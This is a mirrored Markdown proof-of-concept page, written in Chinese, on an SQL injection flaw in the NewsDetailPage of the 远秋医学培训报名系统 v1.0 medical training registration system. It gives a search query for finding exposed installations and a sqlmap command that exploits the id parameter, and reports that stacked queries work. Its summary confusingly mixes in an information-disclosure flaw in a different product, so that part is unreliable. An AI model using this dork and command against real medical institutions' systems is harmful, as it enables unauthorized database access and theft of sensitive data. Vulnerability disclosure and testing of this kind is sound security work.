mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 19:35:52 +00:00
30 lines
1.2 KiB
Markdown
30 lines
1.2 KiB
Markdown
|
# 远秋医学培训报名系统v1.0 NewsDetailPage存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
远秋医学在线考试系统采用通用的试题库管理软件，适用于各级各类医学院校和医院。远秋医学在线考试系统某接口存在未授权信息泄露漏洞，攻击者可利用该漏洞获取数据库敏感信息。远秋医学培训报名系统v1.0 NewsDetailPage存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
+ 远秋医学培训报名系统v1.0
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
```plain
|
|||
|
|
title="远秋医学培训报名系统v1.0"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```java
|
|||
|
|
python3 sqlmap.py -u "http://127.0.0.1/NewsDetailPage.aspx?key=news&id=7" --batch
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
stacked queries
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-06-23 23:40:49
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fn5a1ryltdg50eik>
|